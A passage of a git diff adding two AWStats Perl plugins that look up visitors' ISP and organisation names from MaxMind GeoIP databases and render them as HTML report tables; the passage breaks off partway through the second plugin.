MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.2"; +my $PluginHooksFunctions="AddHTMLMenuLink AddHTMLGraph ShowInfoHost SectionInitHashArray SectionProcessIp SectionProcessHostname SectionReadHistory SectionWriteHistory"; +my $PluginName="geoip_isp_maxmind"; +my $LoadedOverride=0; +my $OverrideFile=""; +my %TmpDomainLookup; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$geoip_isp_maxmind +%_isp_p +%_isp_h +%_isp_k +%_isp_l +$MAXNBOFSECTIONGIR +$MAXLENGTH +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoip_isp_maxmind { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + $MAXNBOFSECTIONGIR=10; + $MAXLENGTH=20; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override)=split(/\+/,$tmpdatafile,2); + if (! $datafile) { $datafile="GeoIPIsp.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + # With pureperl with always use GEOIP_STANDARD. + # GEOIP_MEMORY_CACHE seems to fail with ActiveState + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + if ($override){ $override =~ s/%20/ /g; $OverrideFile=$override; } + %TmpDomainLookup=(); + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode",1); + if ($type eq 'geoippureperl') { + $geoip_isp_maxmind = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $geoip_isp_maxmind = Geo::IP->open($datafile, $mode); + } + $LoadedOverride=0; +# Fails on some GeoIP version +# debug(" Plugin geoip_isp_maxmind: GeoIP initialized database_info=".$geoip_isp_maxmind->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuLink_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLMenuLink_geoip_isp_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + if ($Debug) { debug(" Plugin $PluginName: AddHTMLMenuLink"); } + if ($categ eq 'who') { + $menu->{"plugin_$PluginName"}=0.6; # Pos + $menulink->{"plugin_$PluginName"}=2; # Type of link + $menutext->{"plugin_$PluginName"}="ISP"; # Text + } + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLGraph_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLGraph_geoip_isp_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + my $ShowISP='H'; + $MinHit{'Isp'}=1; + my $total_p; my $total_h; my $total_k; + my $rest_p; my $rest_h; my $rest_k; + + if ($Debug) { debug(" Plugin $PluginName: AddHTMLGraph $categ $menu $menulink $menutext"); } + my $title='ISP'; + &tab_head("$title",19,0,'isp'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>ISP : ".((scalar keys %_isp_h)-($_isp_h{'unknown'}?1:0))."</th>"; + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } + if ($ShowISP =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; } + print "</tr>\n"; + $total_p=$total_h=$total_k=0; + my $count=0; + &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Isp'},\%_isp_h,\%_isp_h); + foreach my $key (@keylist) { + if ($key eq 'unknown') { next; } + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($_isp_p{$key}/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($_isp_h{$key}/$TotalHits*1000)/10; } + print "<tr>"; + my $isp=$key; $isp =~ s/_/ /g; + print "<td class=\"aws\">".ucfirst($isp)."</td>"; + if ($ShowISP =~ /P/i) { print "<td>".($_isp_p{$key}?Format_Number($_isp_p{$key}):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($_isp_p{$key}?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_isp_h{$key}?Format_Number($_isp_h{$key}):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_isp_h{$key}?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($_isp_k{$key})."</td>"; } + if ($ShowISP =~ /L/i) { print "<td>".($_isp_p{$key}?Format_Date($_isp_l{$key},1):'-')."</td>"; } + print "</tr>\n"; + $total_p += $_isp_p{$key}||0; + $total_h += $_isp_h{$key}; + $total_k += $_isp_k{$key}||0; + $count++; + } + if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); } + $rest_p=0; + $rest_h=$TotalHits-$total_h; + $rest_k=0; + if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other cities +# print "<tr>"; +# print "<td class=\"aws\"> </td>"; +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /B/i) { print "<td> </td>"; } +# if ($ShowISP =~ /L/i) { print "<td> </td>"; } +# print "</tr>\n"; + + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($rest_p/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($rest_h/$TotalHits*1000)/10; } + print "<tr>"; + print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]/$Message[0]</span></td>"; + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?Format_Number($rest_p):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?Format_Number($rest_h):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; } + if ($ShowISP =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip_isp_maxmind { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + + print "<th width=\"80\">"; + print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_$PluginName"):"$StaticLinks.plugin_$PluginName.$StaticExt")."\"$NewLinkTarget>GeoIP<br />ISP</a>"; + print "</th>"; + } + elsif ($param) { + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + print "<td>"; + if ($key && $ip==4) { + my $isp = TmpLookup_geoip_isp_maxmind($param); + if (!$isp && $type eq 'geoippureperl') + { + # Function isp_by_addr does not exists in PurePerl but isp_by_name do same + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + elsif (!$isp) + { + # Function isp_by_addr does not exits, so we use org_by_addr + $isp=$geoip_isp_maxmind->org_by_addr($param) if $geoip_isp_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetIspByIp for $param: [$isp]",5); } + if ($isp) { + if (length($isp) <= $MAXLENGTH) { + print "$isp"; + } + else { + print substr($isp,0,$MAXLENGTH).'...'; + } + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + if ($key && $ip==6) { + print "<span style=\"color: #$color_other\">$Message[0]</span>"; + } + if (! $key) { + my $isp = TmpLookup_geoip_isp_maxmind($param); + if (!$isp && $type eq 'geoippureperl') + { + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + elsif (!$isp) + { + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetIspByHostname for $param: [$isp]",5); } + if ($isp) { + if (length($isp) <= $MAXLENGTH) { + print "$isp"; + } + else { + print substr($isp,0,$MAXLENGTH).'...'; + } + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + print "</td>"; + } + else { + print "<td> </td>"; + } + return 1; + # -----> +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionInitHashArray_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionInitHashArray_geoip_isp_maxmind { +# my $param="$_[0]"; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Init_HashArray"); } + %_isp_p = %_isp_h = %_isp_k = %_isp_l =(); + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessIP_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessIp_geoip_isp_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $isp = TmpLookup_geoip_isp_maxmind($param); + if (!$isp && $type eq 'geoippureperl') + { + # Function isp_by_addr does not exists in PurePerl but isp_by_name do same + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + elsif(!$isp) + { + # Function isp_by_addr does not exits, so we use org_by_addr + $isp=$geoip_isp_maxmind->org_by_addr($param) if $geoip_isp_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetIspByIp for $param: [$isp]",5); } + if ($isp) { + $isp =~ s/\s/_/g; + $_isp_h{$isp}++; + } else { + $_isp_h{'unknown'}++; + } +# if ($timerecord > $_isp_l{$city}) { $_isp_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionProcessHostname_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionProcessHostname_geoip_isp_maxmind { + my $param="$_[0]"; # Param must be an IP + # <----- + my $isp = TmpLookup_geoip_isp_maxmind($param); + if (!$isp && $type eq 'geoippureperl') + { + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + elsif(!$isp) + { + $isp=$geoip_isp_maxmind->isp_by_name($param) if $geoip_isp_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetIspByHostname for $param: [$isp]",5); } + if ($isp) { + $isp =~ s/\s/_/g; + $_isp_h{$isp}++; + } else { + $_isp_h{'unknown'}++; + } +# if ($timerecord > $_isp_l{$city}) { $_isp_l{$city}=$timerecord; } + # -----> + return; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionReadHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionReadHistory_geoip_isp_maxmind { + my $issectiontoload=shift; + my $xmlold=shift; + my $xmleb=shift; + my $countlines=shift; + # <----- + if ($Debug) { debug(" Plugin $PluginName: Begin of PLUGIN_$PluginName section"); } + my @field=(); + my $count=0;my $countloaded=0; + do { + if ($field[0]) { + $count++; + if ($issectiontoload) { + $countloaded++; + if ($field[2]) { $_isp_h{$field[0]}+=$field[2]; } + } + } + $_=<HISTORY>; + chomp $_; s/\r//; + @field=split(/\s+/,($xmlold?XMLDecodeFromHisto($_):$_)); + $countlines++; + } + until ($field[0] eq "END_PLUGIN_$PluginName" || $field[0] eq "${xmleb}END_PLUGIN_$PluginName" || ! $_); + if ($field[0] ne "END_PLUGIN_$PluginName" && $field[0] ne "${xmleb}END_PLUGIN_$PluginName") { error("History file is corrupted (End of section PLUGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); } + if ($Debug) { debug(" Plugin $PluginName: End of PLUGIN_$PluginName ($count entries, $countloaded loaded)"); } + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: SectionWriteHistory_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub SectionWriteHistory_geoip_isp_maxmind { + my ($xml,$xmlbb,$xmlbs,$xmlbe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=(shift,shift,shift,shift,shift,shift,shift,shift,shift); + if ($Debug) { debug(" Plugin $PluginName: SectionWriteHistory_$PluginName start - ".(scalar keys %_isp_h)); } + # <----- + print HISTORYTMP "\n"; + if ($xml) { print HISTORYTMP "<section id='plugin_$PluginName'><sortfor>$MAXNBOFSECTIONGIR</sortfor><comment>\n"; } + print HISTORYTMP "# Plugin key - Pages - Hits - Bandwidth - Last access\n"; + #print HISTORYTMP "# The $MaxNbOfExtra[$extranum] first number of hits are first\n"; + $ValueInFile{"plugin_$PluginName"}=tell HISTORYTMP; + print HISTORYTMP "${xmlbb}BEGIN_PLUGIN_$PluginName${xmlbs}".(scalar keys %_isp_h)."${xmlbe}\n"; + &BuildKeyList($MAXNBOFSECTIONGIR,1,\%_isp_h,\%_isp_h); + my %keysinkeylist=(); + foreach (@keylist) { + $keysinkeylist{$_}=1; + #my $page=$_isp_p{$_}||0; + #my $bytes=$_isp_k{$_}||0; + #my $lastaccess=$_isp_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_isp_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + foreach (keys %_isp_h) { + if ($keysinkeylist{$_}) { next; } + #my $page=$_isp_p{$_}||0; + #my $bytes=$_isp_k{$_}||0; + #my $lastaccess=$_isp_l{$_}||''; + print HISTORYTMP "${xmlrb}$_${xmlrs}0${xmlrs}", $_isp_h{$_}, "${xmlrs}0${xmlrs}0${xmlre}\n"; next; + } + print HISTORYTMP "${xmleb}END_PLUGIN_$PluginName${xmlee}\n"; + # -----> + return 0; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: LoadOverrideFile +# Attempts to load a comma delimited file that will override the GeoIP database +# Useful for Intranet records +# CSV format: IP,"isp" +#----------------------------------------------------------------------------- +sub LoadOverrideFile_geoip_isp_maxmind{ + my $filetoload=""; + if ($OverrideFile){ + if (!open(GEOIPFILE, $OverrideFile)){ + debug("Plugin $PluginName: Unable to open override file: $OverrideFile"); + $LoadedOverride = 1; + return; + } + }else{ + my $conf = (exists(&Get_Config_Name) ? Get_Config_Name() : $SiteConfig); + if ($conf && open(GEOIPFILE,"$DirData/$PluginName.$conf.txt")) { $filetoload="$DirData/$PluginName.$conf.txt"; } + elsif (open(GEOIPFILE,"$DirData/$PluginName.txt")) { $filetoload="$DirData/$PluginName.txt"; } + else { debug("No override file \"$DirData/$PluginName.txt\": $!"); } + } + if ($filetoload) + { + # This is the fastest way to load with regexp that I know + while (<GEOIPFILE>){ + chomp $_; + s/\r//; + my @record = split(",", $_); + # replace quotes if they were used in the file + foreach (@record){ $_ =~ s/"//g; } + # store in hash + $TmpDomainLookup{$record[0]} = $record[1]; + } + close GEOIPFILE; + debug(" Plugin $PluginName: Overload file loaded: ".(scalar keys %TmpDomainLookup)." entries found."); + } + $LoadedOverride = 1; + return; +} + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: TmpLookup +# Searches the temporary hash for the parameter value and returns the corresponding +# GEOIP entry +#----------------------------------------------------------------------------- +sub TmpLookup_geoip_isp_maxmind(){ + $param = shift; + if (!$LoadedOverride){&LoadOverrideFile_geoip_isp_maxmind();} + #my $val; + #if ($geoip_isp_maxmind && + #(($type eq 'geoip' && $geoip_isp_maxmind->VERSION >= 1.30) || + # $type eq 'geoippureperl' && $geoip_isp_maxmind->VERSION >= 1.17)){ + # $val = $TmpDomainLookup{$geoip_isp_maxmind->get_ip_address($param)}; + #} + #else {$val = $TmpDomainLookup{$param};} + #return $val || ''; + return $TmpDomainLookup{$param}||''; +} + +1; # Do not remove this line diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_org_maxmind.pm b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_org_maxmind.pm new file mode 100644 index 0000000..d4a73a1 --- /dev/null +++ b/src/main/webapp/monitoramento/wwwroot/cgi-bin/plugins/geoip_org_maxmind.pm @@ -0,0 +1,506 @@ +#!/usr/bin/perl +#----------------------------------------------------------------------------- +# GeoIp_Org_Maxmind AWStats plugin +# This plugin allow you to add a city report. +# Need the licensed ISP database from Maxmind. +#----------------------------------------------------------------------------- +# Perl Required Modules: Geo::IP or Geo::IP::PurePerl +#----------------------------------------------------------------------------- +# $Revision: 1.19 $ - $Author: eldy $ - $Date: 2012/10/15 18:12:44 $ + + +# <----- +# ENTER HERE THE USE COMMAND FOR ALL REQUIRED PERL MODULES +use vars qw/ $type /; +$type='geoip'; +if (!eval ('require "Geo/IP.pm";')) { + $error1=$@; + $type='geoippureperl'; + if (!eval ('require "Geo/IP/PurePerl.pm";')) { + $error2=$@; + $ret=($error1||$error2)?"Error:\n$error1$error2":""; + $ret.="Error: Need Perl module Geo::IP or Geo::IP::PurePerl"; + return $ret; + } +} +# -----> +#use strict; +no strict "refs"; + + + +#----------------------------------------------------------------------------- +# PLUGIN VARIABLES +#----------------------------------------------------------------------------- +# <----- +# ENTER HERE THE MINIMUM AWSTATS VERSION REQUIRED BY YOUR PLUGIN +# AND THE NAME OF ALL FUNCTIONS THE PLUGIN MANAGE. +my $PluginNeedAWStatsVersion="6.2"; +my $PluginHooksFunctions="AddHTMLMenuLink AddHTMLGraph ShowInfoHost SectionInitHashArray SectionProcessIp SectionProcessHostname SectionReadHistory SectionWriteHistory"; +my $PluginName="geoip_org_maxmind"; +my $LoadedOverride=0; +my $OverrideFile=""; +my %TmpDomainLookup; +# -----> + +# <----- +# IF YOUR PLUGIN NEED GLOBAL VARIABLES, THEY MUST BE DECLARED HERE. +use vars qw/ +$geoip_org_maxmind +%_org_p +%_org_h +%_org_k +%_org_l +$MAXNBOFSECTIONGIR +$MAXLENGTH +/; +# -----> + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: Init_pluginname +#----------------------------------------------------------------------------- +sub Init_geoip_org_maxmind { + my $InitParams=shift; + my $checkversion=&Check_Plugin_Version($PluginNeedAWStatsVersion); + $MAXNBOFSECTIONGIR=10; + $MAXLENGTH=50; + + # <----- + # ENTER HERE CODE TO DO INIT PLUGIN ACTIONS + debug(" Plugin $PluginName: InitParams=$InitParams",1); + my ($mode,$tmpdatafile)=split(/\s+/,$InitParams,2); + my ($datafile,$override)=split(/\+/,$tmpdatafile,2); + if (! $datafile) { $datafile="GeoIPOrg.dat"; } + else { $datafile =~ s/%20/ /g; } + if ($type eq 'geoippureperl') { + # With pureperl with always use GEOIP_STANDARD. + # GEOIP_MEMORY_CACHE seems to fail with ActiveState + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + else { $mode=Geo::IP::PurePerl::GEOIP_STANDARD(); } + } else { + if ($mode eq '' || $mode eq 'GEOIP_MEMORY_CACHE') { $mode=Geo::IP::GEOIP_MEMORY_CACHE(); } + else { $mode=Geo::IP::GEOIP_STANDARD(); } + } + if ($override){ $override =~ s/%20/ /g; $OverrideFile=$override; } + %TmpDomainLookup=(); + debug(" Plugin $PluginName: GeoIP initialized type=$type mode=$mode",1); + if ($type eq 'geoippureperl') { + $geoip_org_maxmind = Geo::IP::PurePerl->open($datafile, $mode); + } else { + $geoip_org_maxmind = Geo::IP->open($datafile, $mode); + } + $LoadedOverride=0; +# Fails on some GeoIP version +# debug(" Plugin geoip_org_maxmind: GeoIP initialized database_info=".$geoip_org_maxmind->database_info()); + # -----> + + return ($checkversion?$checkversion:"$PluginHooksFunctions"); +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLMenuLink_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLMenuLink_geoip_org_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + if ($Debug) { debug(" Plugin $PluginName: AddHTMLMenuLink"); } + if ($categ eq 'who') { + $menu->{"plugin_$PluginName"}=0.5; # Pos + $menulink->{"plugin_$PluginName"}=2; # Type of link + $menutext->{"plugin_$PluginName"}="Organizations"; # Text + } + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: AddHTMLGraph_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +#----------------------------------------------------------------------------- +sub AddHTMLGraph_geoip_org_maxmind { + my $categ=$_[0]; + my $menu=$_[1]; + my $menulink=$_[2]; + my $menutext=$_[3]; + # <----- + my $ShowISP='H'; + $MinHit{'Org'}=1; + my $total_p; my $total_h; my $total_k; + my $rest_p; my $rest_h; my $rest_k; + + if ($Debug) { debug(" Plugin $PluginName: AddHTMLGraph $categ $menu $menulink $menutext"); } + my $title='Organizations'; + &tab_head("$title",19,0,'org'); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>Organizations : ".((scalar keys %_org_h)-($_org_h{'unknown'}?1:0))."</th>"; + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; } + if ($ShowISP =~ /P/i) { print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; } + if ($ShowISP =~ /H/i) { print "<th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>"; } + if ($ShowISP =~ /B/i) { print "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; } + if ($ShowISP =~ /L/i) { print "<th width=\"120\">$Message[9]</th>"; } + print "</tr>\n"; + $total_p=$total_h=$total_k=0; + my $count=0; + &BuildKeyList($MaxRowsInHTMLOutput,$MinHit{'Org'},\%_org_h,\%_org_h); + foreach my $key (@keylist) { + if ($key eq 'unknown') { next; } + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($_org_p{$key}/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($_org_h{$key}/$TotalHits*1000)/10; } + print "<tr>"; + my $org=$key; $org =~ s/_/ /g; + print "<td class=\"aws\">".ucfirst($org)."</td>"; + if ($ShowISP =~ /P/i) { print "<td>".($_org_p{$key}?Format_Number($_org_p{$key}):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($_org_p{$key}?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_org_h{$key}?Format_Number($_org_h{$key}):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($_org_h{$key}?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($_org_k{$key})."</td>"; } + if ($ShowISP =~ /L/i) { print "<td>".($_org_p{$key}?Format_Date($_org_l{$key},1):'-')."</td>"; } + print "</tr>\n"; + $total_p += $_org_p{$key}||0; + $total_h += $_org_h{$key}; + $total_k += $_org_k{$key}||0; + $count++; + } + if ($Debug) { debug("Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",2); } + $rest_p=0; + $rest_h=$TotalHits-$total_h; + $rest_k=0; + if ($rest_p > 0 || $rest_h > 0 || $rest_k > 0) { # All other cities +# print "<tr>"; +# print "<td class=\"aws\"> </td>"; +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /P/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /H/i) { print "<td> </td>"; } +# if ($ShowISP =~ /B/i) { print "<td> </td>"; } +# if ($ShowISP =~ /L/i) { print "<td> </td>"; } +# print "</tr>\n"; + + my $p_p; my $p_h; + if ($TotalPages) { $p_p=int($rest_p/$TotalPages*1000)/10; } + if ($TotalHits) { $p_h=int($rest_h/$TotalHits*1000)/10; } + print "<tr>"; + print "<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]/$Message[0]</span></td>"; + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?Format_Number($rest_p):" ")."</td>"; } + if ($ShowISP =~ /P/i) { print "<td>".($rest_p?"$p_p %":' ')."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?Format_Number($rest_h):" ")."</td>"; } + if ($ShowISP =~ /H/i) { print "<td>".($rest_h?"$p_h %":' ')."</td>"; } + if ($ShowISP =~ /B/i) { print "<td>".Format_Bytes($rest_k)."</td>"; } + if ($ShowISP =~ /L/i) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + + # -----> + return 0; +} + + +#----------------------------------------------------------------------------- +# PLUGIN FUNCTION: ShowInfoHost_pluginname +# UNIQUE: NO (Several plugins using this function can be loaded) +# Function called to add additionnal columns to the Hosts report. +# This function is called when building rows of the report (One call for each +# row). So it allows you to add a column in report, for example with code : +# print "<TD>This is a new cell for $param</TD>"; +# Parameters: Host name or ip +#----------------------------------------------------------------------------- +sub ShowInfoHost_geoip_org_maxmind { + my $param="$_[0]"; + # <----- + if ($param eq '__title__') { + my $NewLinkParams=${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget=''; + if ($DetailedReportsOnNewWindows) { $NewLinkTarget=" target=\"awstatsbis\""; } + if (($FrameName eq 'mainleft' || $FrameName eq 'mainright') && $DetailedReportsOnNewWindows < 2) { + $NewLinkParams.="&framename=mainright"; + $NewLinkTarget=" target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams="${NewLinkParams}&"; } + + print "<th width=\"80\">"; + print "<a href=\"".($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks?XMLEncode("$AWScript?${NewLinkParams}output=plugin_$PluginName"):"$StaticLinks.plugin_$PluginName.$StaticExt")."\"$NewLinkTarget>GeoIP<br />Org</a>"; + print "</th>"; + } + elsif ($param) { + my $ip=0; + my $key; + if ($param =~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/) { # IPv4 address + $ip=4; + $key=$param; + } + elsif ($param =~ /^[0-9A-F]*:/i) { # IPv6 address + $ip=6; + $key=$param; + } + print "<td>"; + if ($key && $ip==4) { + my $org = TmpLookup_geoip_org_maxmind($param); + if (!$org && $type eq 'geoippureperl') + { + # Function org_by_addr does not exists in PurePerl but org_by_name do same + $org=$geoip_org_maxmind->org_by_name($param) if $geoip_org_maxmind; + } + elsif(!$org) + { + $org=$geoip_org_maxmind->org_by_addr($param) if $geoip_org_maxmind; + } + if ($Debug) { debug(" Plugin $PluginName: GetOrgByIp for $param: [$org]",5); } + if ($org) { + if (length($org) <= $MAXLENGTH) { + print "$org"; + } + else { + print substr($org,0,$MAXLENGTH).'...'; + } + } + else { print "<span style=\"color: #$color_other\">$Message[0]</span>"; } + } + if ($key && 